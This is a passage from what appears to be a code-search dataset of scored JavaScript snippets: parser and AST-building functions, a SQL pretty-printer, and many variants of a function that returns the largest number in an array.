"text": "function stringify(node, doc) {\n var file = vfile(doc);\n var Compiler;\n\n freeze();\n Compiler = processor.Compiler;\n assertCompiler('stringify', Compiler);\n assertNode(node);\n\n if (newable(Compiler)) {\n return new Compiler(node, file).compile();\n }\n\n return Compiler(node, file); // eslint-disable-line new-cap\n }", "title": "" }, { "docid": "3643cb6805c0c687bf03beb59ea9ab6f", "score": "0.50270844", "text": "function buildAST()\n\t\t{\n\t\t\tvar scope = symbolTypes ? symbolTypes : {};\n\t\t\t\n\t\t\tfunction prefixOpAST(op)\n\t\t\t{\n\t\t\t\tif (!isString(curTok))\n\t\t\t\t\treturn error(\"Expected variable after prefix operator '\" + op + \"'\");\n\t\t\t\t\n\t\t\t\treturn [op, curTok];\n\t\t\t}\n\t\t\tfunction bineryOpAST(exprPrec, lhs)\n\t\t\t{\n\t\t\t\t// If this is a binop, find its precedence.\n\t\t\t\twhile (true)\n\t\t\t\t{\n\t\t\t\t\tvar tokPrec = getOperatorPrecedence(curTok);\n\n\t\t\t\t\t// If this is an operator that binds at least as tightly as the current binop, consume it, otherwise return lhs\n\t\t\t\t\tif (tokPrec < exprPrec)\n\t\t\t\t\t\treturn lhs;\n\t\t\t\t\t// curTok is an operator\n\t\t\t\t\t\n\t\t\t\t\tvar binOp = curTok;\n\t\t\t\t\tif (!getTok()) return null; // eat binop\n\n\t\t\t\t\tif (binOp == '?')\n\t\t\t\t\t{\n\t\t\t\t\t\t/*var ifExpr = primaryAST();\n\t\t\t\t\t\tif (ifExpr == null)\n\t\t\t\t\t\t\treturn null;\n\n\t\t\t\t\t\tif (CurTok != ':')\n\t\t\t\t\t\t\treturn error(\"Expected ':'\");\n\t\t\t\t\t\tif (!getTok()) return null; // eat ':'\n\n\t\t\t\t\t\tvar elseExpr = primaryAST();\n\t\t\t\t\t\tif (elseExpr == null)\n\t\t\t\t\t\t\treturn null;\n\n\t\t\t\t\t\t// If '?' binds less tightly with elseExpr than the operator after elseExpr, let the pending operator take elseExpr as its lhs\n\t\t\t\t\t\tvar nextPrec = getOperatorPrecedence(curTok);\n\t\t\t\t\t\tif (tokPrec < nextPrec)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\telseExpr = bineryOpAST(tokPrec + 1, elseExpr);\n\t\t\t\t\t\t\tif (elseExpr == null)\n\t\t\t\t\t\t\t\treturn null;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t//lhs = new ChoiceExprAST(new MpuSharp.Segment(lhs.source.begin, elseExpr.source.end), lhs, ifExpr, elseExpr);\n\t\t\t\t\t\tlhs = lhs.concat(ifExpr, elseExpr); lhs.push('?');*/\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// Parse the expression after the binary operator.\n\t\t\t\t\t\tvar rhs = exprAST(tokPrec);\n\t\t\t\t\t\tif (rhs == null)\n\t\t\t\t\t\t\treturn null;\n\n\t\t\t\t\t\t// If binOp binds less tightly with rhs than the operator after rhs, let the pending operator take rhs as its lhs.\n\t\t\t\t\t\tvar nextPrec = getOperatorPrecedence(curTok);\n\t\t\t\t\t\tif (tokPrec < nextPrec)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trhs = bineryOpAST(tokPrec + 1, rhs);\n\t\t\t\t\t\t\tif (rhs == null)\n\t\t\t\t\t\t\t\treturn null;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Create operator function signature from operator name and argument FormulaCompiler.types\n\t\t\t\t\t\tvar funcSignature = lhs.type.name + \" \" + binOp + \" \" + rhs.type.name;\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Lookup operator function and return type\n\t\t\t\t\t\tvar returnType = functionsReturnTypes[funcSignature];\n\t\t\t\t\t\tif (isUndefined(returnType))\n\t\t\t\t\t\t\treturn error(\"Undefined operator \" + binOp + \" on FormulaCompiler.types \" + lhs.type.name + \" and \" + rhs.type.name);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Merge lhs/rhs.\n\t\t\t\t\t\tif (tokPrec === 10) // If binOp is '=', '+=' or '-='\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar lastOp = lhs.code.pop();\n\t\t\t\t\t\t\tif (lastOp !== '@' && lastOp !== '@[]')\n\t\t\t\t\t\t\t\treturn error(\"Cannot assign to non-variable\");\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Store as rhs, lhs, funcSignature\n\t\t\t\t\t\t\tlhs.type = returnType;\n\t\t\t\t\t\t\tlhs.code = rhs.code.concat(lhs.code);\n\t\t\t\t\t\t\tlhs.code.push(funcSignature);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// Store as lhs, rhs, funcSignature\n\t\t\t\t\t\t\tlhs.type = returnType;\n\t\t\t\t\t\t\tlhs.code = lhs.code.concat(rhs.code);\n\t\t\t\t\t\t\tlhs.code.push(funcSignature);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tfunction identifierAST()\n\t\t\t{\n\t\t\t\tvar identifier = curVal;\n\t\t\t\tvar variable = [identifier];\n\t\t\t\tif (!getTok()) return null; // eat identifier\n\t\t\t\t\n\t\t\t\t// Query variable type from scope\n\t\t\t\tvar type = scope[identifier];\n\t\t\t\t\n\t\t\t\twhile (curTok === '.')\n\t\t\t\t{\n\t\t\t\t\tif (!getTok()) return null; // eat '.'\n\t\t\t\t\t\n\t\t\t\t\tif (isUndefined(type))\n\t\t\t\t\t\treturn error(\"Undefined variable: \" + identifier);\n\t\t\t\t\tvar parentType = type;\n\t\t\t\t\tvar member = type.members[curVal];\n\t\t\t\t\tif (isUndefined(member))\n\t\t\t\t\t\treturn error(parentType.name + \" does not contain a member: \" + curVal);\n\t\t\t\t\ttype = member.type;\n\t\t\t\t\t\n\t\t\t\t\tvariable.push('.');\n\t\t\t\t\tvariable.push(member.index);\n\t\t\t\t\t\n\t\t\t\t\tif (!getTok()) return null; // eat identifier\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (curTok === '(')\n\t\t\t\t{\n\t\t\t\t\tif (variable.length !== 1)\n\t\t\t\t\t\treturn error('Member functions not suported');\n\t\t\t\t\treturn functionAST(identifier); // Function call\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (curTok === 'identifier')\n\t\t\t\t{\n\t\t\t\t\tif (variable.length !== 1)\n\t\t\t\t\t\treturn error('Hierarchical FormulaCompiler.types not suported');\n\t\t\t\t\treturn varDeclAST(variable, identifier); // Variable declaration\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*if (curTok === '[') // Array access\n\t\t\t\t{\n\t\t\t\t\tif (!getTok()) return null; // Eat '['\n\t\t\t\t\tif (curTok === ']') // Array type\n\t\t\t\t\t{\n\t\t\t\t\t\tif (!getTok()) return null; // Eat ']'\n\t\t\t\t\t\t//return new VariableExprAST(getLineNumber(), enclosingScopes, true);\n\t\t\t\t\t\tvariable.IsArray = true;\n\t\t\t\t\t\treturn variable;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tvar index = ParseExpression();\n\t\t\t\t\tif (index != null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (CurTok != ']')\n\t\t\t\t\t\t\treturn Error(\"Expected ']' after expression\");\n\t\t\t\t\t\tif (!getTok()) return null; // Eat ']'\n\t\t\t\t\t\treturn new IndexExprAST(getLineNumber(), variable, index);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\treturn null;\n\t\t\t\t}*/\n\t\t\t\t\n\t\t\t\tif (isUndefined(type))\n\t\t\t\t\treturn error(\"Undefined variable: \" + identifier);\n\t\t\t\t\n\t\t\t\tvariable.push(type === FormulaCompiler.types.float ? '@' : '@[]');\n\t\t\t\treturn { code: variable, type: type }; // Variable reference\n\t\t\t}\n\t\t\tfunction identifierAndPostAST()\n\t\t\t{\n\t\t\t\tvar identifier = identifierAST();\n\t\t\t\tif (!identifier) return null;\n\n\t\t\t\t/*switch (curTok)\n\t\t\t\t{\n\t\t\t\tcase '++': case '--':\n\t\t\t\t\tif (!getTok()) return null; // Eat '++' or '--'\n\t\t\t\t\tidentifier.push('post' + curTok);\n\t\t\t\t}*/\n\n\t\t\t\treturn identifier;\n\t\t\t}\n\t\t\tfunction numberAST()\n\t\t\t{\n\t\t\t\tvar number = curVal;\n\t\t\t\tif (!getTok()) return null; // Eat number\n\t\t\t\treturn { code: [number], type: FormulaCompiler.types.float };\n\t\t\t}\n\t\t\tfunction varDeclAST(type, typeName)\n\t\t\t{\n\t\t\t\ttype = FormulaCompiler.types[typeName];\n\t\t\t\tif (isUndefined(type))\n\t\t\t\t\treturn error(\"Unsupported type: \" + typeName);\n\t\t\t\t\n\t\t\t\t// Update scope\n\t\t\t\tvar prev = scope[curVal];\n\t\t\t\tif (!isUndefined(prev))\n\t\t\t\t\treturn error(\"Redefinition of variable: \" + curVal);\n\t\t\t\tscope[curVal] = type; // Store variable type in scope\n\t\t\t\t\n\t\t\t\tvar variable = [curVal];\n\t\t\t\tif (!getTok()) return null; // eat identifier\n\t\t\t\t\n\t\t\t\t/*var decl = [type].concat(variable);\n\t\t\t\tdecl.push('#');\n\t\t\t\treturn { code: decl, type: type };*/\n\t\t\t\tvariable.push(type === FormulaCompiler.types.float ? '@' : '@[]');\n\t\t\t\treturn { code: variable, type: type };\n\t\t\t}\n\t\t\tfunction functionAST(funcName)\n\t\t\t{\n\t\t\t\tif (!getTok()) return null; // Eat '('\n\t\t\t\t\n\t\t\t\tvar args = listAST(')');\n\t\t\t\tif (!args) return null;\n\t\t\t\tvar numArgs = args.type.length;\n\t\t\t\t\n\t\t\t\t// Create function signature from function name and argument FormulaCompiler.types\n\t\t\t\tvar argTypeNames = args.type.map(type => type.name).join(\", \")\n\t\t\t\tvar funcSignature = funcName + \"(\" + argTypeNames + \")\";\n\t\t\t\t\n\t\t\t\t// Lookup function and return type\n\t\t\t\tvar returnType = functionsReturnTypes[funcSignature];\n\t\t\t\tif (isUndefined(returnType))\n\t\t\t\t\treturn error(\"Undefined function \" + funcSignature);\n\t\t\t\t\n\t\t\t\t// Store as args, funcSignature\n\t\t\t\tvar funcCode = args.code;\n\t\t\t\tfuncCode.push(funcSignature)\n\t\t\t\treturn { code: funcCode, type: returnType };\n\t\t\t}\n\t\t\tfunction listAST(termTok)\n\t\t\t{\n\t\t\t\tif (curTok === termTok)\n\t\t\t\t{\n\t\t\t\t\tif (!getTok()) return null; // Eat termTok\n\t\t\t\t\treturn [0]; // List of length 0\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tvar code = [], typeList = [], len = 1;\n\t\t\t\twhile (true)\n\t\t\t\t{\n\t\t\t\t\tvar expr = exprAST();\n\t\t\t\t\tif (!expr) return null;\n\t\t\t\t\tcode = code.concat(expr.code);\n\t\t\t\t\ttypeList.push(expr.type);\n\t\t\t\t\t\n\t\t\t\t\tif (curTok === termTok)\n\t\t\t\t\t\tbreak;\n\t\t\t\t\telse if (curTok !== ',')\n\t\t\t\t\t\treturn error(\"Expected ',' or '\" + termTok + \"' after list element\");\n\t\t\t\t\tif (!getTok()) return null; // Eat ','\n\t\t\t\t\t++len;\n\t\t\t\t}\n\t\t\t\tif (!getTok()) return null; // Eat termTok\n\t\t\t\treturn { code: code, type: typeList };\n\t\t\t}\n\t\t\tfunction primaryAST()\n\t\t\t{\n\t\t\t\tswitch (curTok)\n\t\t\t\t{\n\t\t\t\tcase 'identifier': return identifierAndPostAST();\n\t\t\t\tcase 'float': case 'int': return numberAST();\n\t\t\t\tdefault: return error(\"unknown token '{0}' when expecting an expression\".format(curTok));\n\t\t\t\t/*case (int)Lexer.Token.tok_int: return ParseIntExpr();\n\t\t\t\tcase (int)Lexer.Token.tok_float: return ParseFloatExpr();\n\t\t\t\tcase (int)Lexer.Token.tok_string: return ParseStringExpr();\n\t\t\t\tcase (int)Lexer.Token.tok_bool: return ParseBooleanExpr();\n\t\t\t\tcase '(': return ParseParenExpr();\n\t\t\t\tcase '[': return ParseArrayExpr('[', ']');\n\t\t\t\tcase (int)Lexer.Token.tok_return: return ParseReturnExpr();\n\t\t\t\tcase (int)Lexer.Token.tok_new: return ParseNewExpr();\n\t\t\t\tcase (int)Lexer.Token.tok_pp:\n\t\t\t\t\tPosition ppBegin = getTokenStartPosition();\n\t\t\t\t\tif (!getTok()) return null; // eat '++'\n\t\t\t\t\tVAR = ParseIdentifierExpr();\n\t\t\t\t\tif (VAR == null) return null;\n\t\t\t\t\tif (!(VAR is VariableExprAST || VAR is IndexExprAST)) return Error(\"Expected variable after prefix increment operator\");\n\t\t\t\t\treturn new PrefixIncrementExprAST(new Segment(ppBegin, VAR.source.end), VAR);\n\t\t\t\tcase (int)Lexer.Token.tok_mm:\n\t\t\t\t\tPosition mmBegin = getTokenStartPosition();\n\t\t\t\t\tif (!getTok()) return null; // eat '--'\n\t\t\t\t\tVAR = ParseIdentifierExpr();\n\t\t\t\t\tif (VAR == null) return null;\n\t\t\t\t\tif (!(VAR is VariableExprAST || VAR is IndexExprAST)) return Error(\"Expected variable after prefix decrement operator\");\n\t\t\t\t\treturn new PrefixDecrementExprAST(new Segment(mmBegin, VAR.source.end), VAR);*/\n\t\t\t\t}\n\t\t\t}\n\t\t\t/**\n\t\t\t * @param {number=} exprPrec=0\n\t\t\t */\n\t\t\tfunction exprAST(exprPrec)\n\t\t\t{\n\t\t\t\tif (isUndefined(exprPrec)) exprPrec = 0;\n\t\t\t\t\n\t\t\t\tvar lhs = primaryAST();\n\t\t\t\tif (!lhs) return null;\n\n\t\t\t\t/*if (curTok === '=' || curTok === '+=')\n\t\t\t\t{\n\t\t\t\t\tvar op = curTok;\n\t\t\t\t\tif (!getTok()) return null; // Eat op\n\t\t\t\t\tvar rhs = exprAST();\n\t\t\t\t\tif (!rhs) return null;\n\t\t\t\t\treturn lhs.concat(rhs, [op]);\n\t\t\t\t}*/\n\n\t\t\t\treturn bineryOpAST(exprPrec, lhs);\n\t\t\t}\n\t\t\tfunction topLevelAST()\n\t\t\t{\n\t\t\t\tvar code = [];\n\t\t\t\tif (!getTok()) return null; // Get first token\n\t\t\t\twhile (curTok !== null)\n\t\t\t\t{\n\t\t\t\t\tvar lhs = primaryAST();\n\t\t\t\t\tif (!lhs) return null;\n\t\t\t\t\t\n\t\t\t\t\tvar binOp = bineryOpAST(0, lhs);\n\t\t\t\t\tif (!binOp) return null;\n\t\t\t\t\t\n\t\t\t\t\tif (curTok !== ';')\n\t\t\t\t\t\treturn error(\"Missing ';' after expression\");\n\t\t\t\t\tif (!getTok()) return null; // Eat ';'\n\t\t\t\t\t\n\t\t\t\t\tcode = code.concat(binOp.code);\n\t\t\t\t\tcode.push(';'); // Clear operation\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (code.length !== 0)\n\t\t\t\t\tcode.pop(); // Don't clear after last operation. Result of last operation is return value\n\t\t\t\t\t\n\t\t\t\treturn code;\n\t\t\t}\n\t\t\t\n\t\t\tvar expr = topLevelAST();\n\t\t\treturn expr ? expr : err;\n\t\t}", "title": "" }, { "docid": "bb628d3aa24fb2ebafaf1ad56b87f487", "score": "0.5013563", "text": "function PMA_SQLPrettyPrint(string)\r\n{\r\n if (typeof CodeMirror == 'undefined') {\r\n return string;\r\n }\r\n\r\n var mode = CodeMirror.getMode({},\"text/x-mysql\");\r\n var stream = new CodeMirror.StringStream(string);\r\n var state = mode.startState();\r\n var token, tokens = [];\r\n var output = '';\r\n var tabs = function(cnt) {\r\n var ret = '';\r\n for (var i=0; i<4*cnt; i++) {\r\n ret += \" \";\r\n }\r\n return ret;\r\n };\r\n\r\n // \"root-level\" statements\r\n var statements = {\r\n 'select': ['select', 'from','on','where','having','limit','order by','group by'],\r\n 'update': ['update', 'set','where'],\r\n 'insert into': ['insert into', 'values']\r\n };\r\n // don't put spaces before these tokens\r\n var spaceExceptionsBefore = { ';':true, ',': true, '.': true, '(': true };\r\n // don't put spaces after these tokens\r\n var spaceExceptionsAfter = { '.': true };\r\n\r\n // Populate tokens array\r\n var str='';\r\n while (! stream.eol()) {\r\n stream.start = stream.pos;\r\n token = mode.token(stream, state);\r\n if (token != null) {\r\n tokens.push([token, stream.current().toLowerCase()]);\r\n }\r\n }\r\n\r\n var currentStatement = tokens[0][1];\r\n\r\n if (! statements[currentStatement]) {\r\n return string;\r\n }\r\n // Holds all currently opened code blocks (statement, function or generic)\r\n var blockStack = [];\r\n // Holds the type of block from last iteration (the current is in blockStack[0])\r\n var previousBlock;\r\n // If a new code block is found, newBlock contains its type for one iteration and vice versa for endBlock\r\n var newBlock, endBlock;\r\n // How much to indent in the current line\r\n var indentLevel = 0;\r\n // Holds the \"root-level\" statements\r\n var statementPart, lastStatementPart = statements[currentStatement][0];\r\n\r\n blockStack.unshift('statement');\r\n\r\n // Iterate through every token and format accordingly\r\n for (var i = 0; i < tokens.length; i++) {\r\n previousBlock = blockStack[0];\r\n\r\n // New block => push to stack\r\n if (tokens[i][1] == '(') {\r\n if (i < tokens.length - 1 && tokens[i+1][0] == 'statement-verb') {\r\n blockStack.unshift(newBlock = 'statement');\r\n } else if (i > 0 && tokens[i-1][0] == 'builtin') {\r\n blockStack.unshift(newBlock = 'function');\r\n } else {\r\n blockStack.unshift(newBlock = 'generic');\r\n }\r\n } else {\r\n newBlock = null;\r\n }\r\n\r\n // Block end => pop from stack\r\n if (tokens[i][1] == ')') {\r\n endBlock = blockStack[0];\r\n blockStack.shift();\r\n } else {\r\n endBlock = null;\r\n }\r\n\r\n // A subquery is starting\r\n if (i > 0 && newBlock == 'statement') {\r\n indentLevel++;\r\n output += \"\\n\" + tabs(indentLevel) + tokens[i][1] + ' ' + tokens[i+1][1].toUpperCase() + \"\\n\" + tabs(indentLevel + 1);\r\n currentStatement = tokens[i+1][1];\r\n i++;\r\n continue;\r\n }\r\n\r\n // A subquery is ending\r\n if (endBlock == 'statement' && indentLevel > 0) {\r\n output += \"\\n\" + tabs(indentLevel);\r\n indentLevel--;\r\n }\r\n\r\n // One less indentation for statement parts (from, where, order by, etc.) and a newline\r\n statementPart = statements[currentStatement].indexOf(tokens[i][1]);\r\n if (statementPart != -1) {\r\n if (i > 0) {\r\n output += \"\\n\";\r\n }\r\n output += tabs(indentLevel) + tokens[i][1].toUpperCase();\r\n output += \"\\n\" + tabs(indentLevel + 1);\r\n lastStatementPart = tokens[i][1];\r\n }\r\n // Normal indentatin and spaces for everything else\r\n else {\r\n if (! spaceExceptionsBefore[tokens[i][1]]\r\n && ! (i > 0 && spaceExceptionsAfter[tokens[i-1][1]])\r\n && output.charAt(output.length -1) != ' ' ) {\r\n output += \" \";\r\n }\r\n if (tokens[i][0] == 'keyword') {\r\n output += tokens[i][1].toUpperCase();\r\n } else {\r\n output += tokens[i][1];\r\n }\r\n }\r\n\r\n // split columns in select and 'update set' clauses, but only inside statements blocks\r\n if (( lastStatementPart == 'select' || lastStatementPart == 'where' || lastStatementPart == 'set')\r\n && tokens[i][1]==',' && blockStack[0] == 'statement') {\r\n\r\n output += \"\\n\" + tabs(indentLevel + 1);\r\n }\r\n\r\n // split conditions in where clauses, but only inside statements blocks\r\n if (lastStatementPart == 'where'\r\n && (tokens[i][1]=='and' || tokens[i][1]=='or' || tokens[i][1]=='xor')) {\r\n\r\n if (blockStack[0] == 'statement') {\r\n output += \"\\n\" + tabs(indentLevel + 1);\r\n }\r\n // Todo: Also split and or blocks in newlines & identation++\r\n //if (blockStack[0] == 'generic')\r\n // output += ...\r\n }\r\n }\r\n return output;\r\n}", "title": "" }, { "docid": "19ce62660ab63287de9bae1ed3574344", "score": "0.500618", "text": "function stringify(node, doc) {\n var file = vfile(doc);\n var Compiler;\n freeze();\n Compiler = processor.Compiler;\n assertCompiler('stringify', Compiler);\n assertNode(node);\n\n if (newable(Compiler, 'compile')) {\n return new Compiler(node, file).compile();\n }\n\n return Compiler(node, file); // eslint-disable-line new-cap\n } // Parse a file (in string or vfile representation) into a unist node using", "title": "" }, { "docid": "d5a6791f20a85fdf53167c3991372026", "score": "0.4998876", "text": "function ASTparse_Program(){\n\tdocument.getElementById(\"AStree\").value += \"ASTparser: ASTparse_Program()\" + '\\n';\n\t\n\n\t//ASTREE.addNode('program', 'branch');\n\n\t\n\t\n\tASTparse_Block();\n\t\n\t\n \t\n\t//ASTmatchSpecChars('$',ASTparseCounter); // match EOP symbol after\n\t\n\tASTREE.endChildren();\n\t\n\tASTparseCounter = ASTparseCounter + 1;\n\n\t\n\tdocument.getElementById(\"AStree\").value += \"ASTparser: Parsing complete\" + '\\n' + '\\n';\n\t\n\t\n\tdocument.getElementById(\"AStree\").value += ASTREE.toString();\n\t\n\tif (tokenstreamCOPY[ASTparseCounter] != undefined){\n\t\t ASTtokenID = 0;\n\t\t ASTREE = new Tree();\n\t\t ASTparser();\n\t\t\n\t}\n\telse{\n\t\tdocument.getElementById(\"AStree\").value += '\\n';\n\t\tdocument.getElementById(\"AStree\").value += 'ASTparser: done parsing programs';\n\t\tASTparseCounter =0;\n\t\tASTlookAhead = ASTparseCounter + 1;\n\t\tASTparentCounter = 0;\n\t\tASTtokenID = 0;\n\t\tASTREE = new Tree();\n\t}\n\t\n\t//print out AST\n\t\n\t\n\t\n}", "title": "" }, { "docid": "3981324216bed81d63cf1f9f41ff0b52", "score": "0.49946442", "text": "function nodeToString(node){var address=NodeAddress.toString(node.address);return\"{address: \"+address+\"}\";}", "title": "" }, { "docid": "c9fd00bf1a057d511843c7829da08ef2", "score": "0.49900872", "text": "stringifyCode(): string {\n const code = this._getAllModules().map(m => m.code);\n\n return code.join('\\n;');\n }", "title": "" } ]
c3e3356c24cc22bf1c57b66e04af3095
3. Find the Largest... Create a function to find the largest number in an array.
[ { "docid": "a88488930c2cc39a0d03e3e30fe3d512", "score": "0.8067719", "text": "function largestNumber(arr) {\n return Math.max(...arr);\n}", "title": "" } ]
[ { "docid": "9641e2278efa29dd6c7688ddc8fd4cdc", "score": "0.8631345", "text": "function findLargestNum(arr) {\n\treturn Math.max.apply(Math, arr);\t\n}", "title": "" }, { "docid": "56b0158effac41f6249d3d4db61f5849", "score": "0.86249524", "text": "function findMax(arr){\n // This function returns the largest number in a given array.\n arr.sort(function(a, b) {\n return a - b;\n\n })\n return arr[arr.length -1]\n\n}", "title": "" }, { "docid": "9c7bf470608a921894dab6ab7320ce35", "score": "0.8602403", "text": "function findMax(array) {\n // This function returns the largest number in a given array.\n let large = array[0];\n for (i = 1; i < array.length; i++) {\n if (large < array[i]) {\n large = array[i];\n }\n }\n return large;\n}", "title": "" }, { "docid": "8a4e5e9fa8061a111be6e0c65f3ebee2", "score": "0.85491943", "text": "function returnTheLargest(arr){\r\n var max = arr[0];\r\n for (var i = 0; i< arr.length;i++){\r\n if (arr[i]>max){\r\n max = arr[i];\r\n }\r\n }\r\n return max;\r\n}", "title": "" }, { "docid": "7c1ed664c559a18eca08b058b3cf66d6", "score": "0.8475851", "text": "function findLargest(arrays) {}", "title": "" }, { "docid": "e47bb99ee7f6d2f2776bc13dde7cdd6d", "score": "0.8426862", "text": "function findMax(array){\r\n // This function returns the largest number in a given array.\r\n var firstElementInArray = array[0];\r\n function helper(max,array,i){\r\n if(i > array.length) {\r\n return max;\r\n }\r\n \r\n if (array[i] > max) {\r\n return helper(array[i],array,i+1);\r\n } else {\r\n return helper(max,array,i+1);\r\n }\r\n }\r\n return helper(firstElementInArray,array,0);\r\n}", "title": "" }, { "docid": "59ebda81ae1a9aded9e11a88132e6e4d", "score": "0.842032", "text": "function find_largest(arr) {\n return arr.reduce( (a, b) => {\n return Math.max(a, b)\n })\n}", "title": "" }, { "docid": "00560d91782e3dfaaa16cebf04e9eafd", "score": "0.8394396", "text": "function largest(arr) {\n return Math.max.apply(null, arr);\n}", "title": "" }, { "docid": "4186c829e8ae625f4805e063e6fb038a", "score": "0.8394014", "text": "function getHighest($array){\n var biggest = Math.max.apply( null, $array );\n return biggest;\n}", "title": "" }, { "docid": "d230c71d2c5494bd80e6d2e31a550029", "score": "0.83822155", "text": "function findLargestNumber(array) {\n var largest = 0;\n for(var i = 0; i < array.length; i++) {\n if (largest < array[i] ) {\n largest = array[i];\n }\n }\n return largest;\n}", "title": "" }, { "docid": "e9d07678f6535279d27b350d949eef59", "score": "0.8379516", "text": "function findMax(array) {\n // This function returns the largest number in a given array.\n /// see if number is bigger than current max\n nums = [...array]\n\n if (nums.length == 1) { return nums[0] }\n\n if (nums[0] < nums[1]) { nums.shift(); }\n else { nums.splice(1, 1) }\n\n return findMax(nums)\n}", "title": "" }, { "docid": "0d7b410a4363471df3f2457cb16efbc9", "score": "0.83774364", "text": "function findMax(arr) {}", "title": "" }, { "docid": "dac521fcefbe928a64b44869e196f1e8", "score": "0.8324723", "text": "function getMax(array){ \n if (array.length === 0) return undefined;\n\n// let maxNum = 0;\n// for (element of array)\n// if (element > maxNum)\n// maxNum = element;\n// return maxNum;\n\nreturn array.reduce((a, b) => (a > b) ? a : b);\n\n}", "title": "" }, { "docid": "e58de8ea91fad9acd608663ed910e6bf", "score": "0.8322626", "text": "function findMax(array){\n var highestnum = 0;\n for(var i = 0; i < array.length; i++){\n if(highestnum < array[i])\n {highestnum = array[i]}\n }\n return highestnum;\n}", "title": "" }, { "docid": "7803a7b0d289c0cc45160898cac50881", "score": "0.8301133", "text": "function largestNum(arr){\n var largest = 0;\n for(var i=0; i < arr.length; i++){\n if(arr[i]>largest){\n largest = arr[i];\n }\n }\n return largest;\n }", "title": "" }, { "docid": "bb836014a0665119e5c84ba5061a9dd2", "score": "0.82906324", "text": "function findBigNumberArray(array) {\n var bigNumber = Math.max.apply(Math, array);\n return bigNumber + \" is the biggest number\";\n}", "title": "" }, { "docid": "58e3341570c505b95176118467080298", "score": "0.82778716", "text": "function max(arr){\n return sortNumbers(arr)[arr.length - 1];\n }", "title": "" }, { "docid": "9732fce64c72867c2b8cb29f399fbf8f", "score": "0.8261371", "text": "function getMax(arr){\n arr.sort(function(oldNum, newNum){\n return newNum > oldNum;\n });\n return arr[0];\n}", "title": "" }, { "docid": "5659a5f029a264aa0728bdfc1f5a155b", "score": "0.82465005", "text": "function largestNumber(arr) {\n let largest = arr[0];\n\n for (let i = 0; i < arr.length; i++) {\n for (let j = arr.length; j > i; j--) {\n if (arr[i] < arr[j]) {\n largest = arr[j];\n }\n }\n }\n return largest;\n}", "title": "" }, { "docid": "e35f380b5a5566105f3f7a155e3efa7a", "score": "0.82251203", "text": "function largest(){\n // parse arguments into an array\n var args = [].slice.call(arguments);\n \n // set a variable for largest number. Set it's default value to 0\n var currentLargest = 0;\n // iterate over each number in the array\n for(var i = 0; i < args.length; i++){\n // if the number at the current index is larger than the value of currentLargest,\n if(args[i] > currentLargest) {\n // replace currentLargest with number at current index\n currentLargest = args[i];\n }\n }\n // return final value of currentLargest\n return currentLargest;\n}", "title": "" }, { "docid": "5dcbbe3833ab66e2d27d9ff2208f4398", "score": "0.8191881", "text": "function getHighestNumber(arr) {\n arr.sort();\n return arr[arr.length - 1];\n}", "title": "" }, { "docid": "810aec75e60db01b745b0f4bb7638ac4", "score": "0.8187355", "text": "function largest(numbers) {\n for(i=0; i<nums.length; i++){\n if(nums[i] > largestNum) {\n largestNum = nums[i]\n }\n return largestNum\n }\n}", "title": "" }, { "docid": "bf808c5a02ef634465640a3fd616b7ed", "score": "0.8163497", "text": "function getLargestElement(arr) {\n var largest = 0;\n if (arr.length > 0){\n largest = arr[0];\n for (var i = 0; i < arr.length; i++){\n if (arr[i] > largest){\n largest = arr[i];\n }\n }\n }\n return largest;\n}", "title": "" }, { "docid": "7f75b8d7cc4c1c62a9820b01d039caa0", "score": "0.81601095", "text": "function largest(arr) {\n // base case\n if (arr.length === 0) return undefined;\n // recurse and hold on to that number using a variable\n // that number or the rest etc at every stack unpeeling compare\n let numToCompare = largest(arr.slice(1));\n if (numToCompare === undefined) {\n return arr[0];\n } else if (arr[0] > numToCompare) {\n return arr[0];\n } else {\n return numToCompare;\n }\n}", "title": "" }, { "docid": "3a95b16401bc6f494321d017711863b6", "score": "0.81536376", "text": "function largest(inputNumbers) {\n \n}", "title": "" }, { "docid": "94c9b38fabfa7f556844576e884840bd", "score": "0.81432104", "text": "function largestNum(arr) {\n return arr.reduce(function(currentValue, n) {\n if (currentValue < n) {\n return n;\n } else {\n return currentValue;\n }\n }, 0);\n}", "title": "" }, { "docid": "59b9f6247326e1ccb2a19d2aab64f199", "score": "0.8136768", "text": "function getLargest(arr)\n{ \n var temp = arr[0]; \n for(var i=0;i<arr.length;i++)\n {\n if(arr[i]>temp)\n {\n temp = arr[i];\n } \n }\n console.log(temp);\n}", "title": "" }, { "docid": "f3864ae42c5dcfeab75df7789d647645", "score": "0.8134015", "text": "function highestNum(arr) {\n\tlet answer = Math.max(...arr);\n\treturn answer;\n}", "title": "" }, { "docid": "ea379e205744efbaf786ead4e42cd4a1", "score": "0.8124297", "text": "function findMax(arr){\n\treturn Math.max.apply(null, arr);\n}", "title": "" }, { "docid": "356c63919287d61baba417d15c1f2898", "score": "0.8118097", "text": "function largestElement(numb) {\n let largest = numb[0]; //initial value 1st element of the array\n for(let j=0 ; j<=numb.length ; j++)\n {\n const element = numb[j];\n if(element > largest)\n {\n largest = element;\n }\n }\n return largest;\n}", "title": "" }, { "docid": "62243c169413183570afb132df6b528d", "score": "0.8100652", "text": "function myMax (array) {\n if (array instanceof Array !==true || array.length === 0 || \n typeof array == 'undefined' || array == null ) {\n throw 'Invalid Input';\n }\n for (var i=0; i<array.length; i++) {\n if ( typeof array[i] !== 'number' || array[i]%1 !== 0) {\n throw 'Invalid Input';\n }\n }\n for (var i=0; 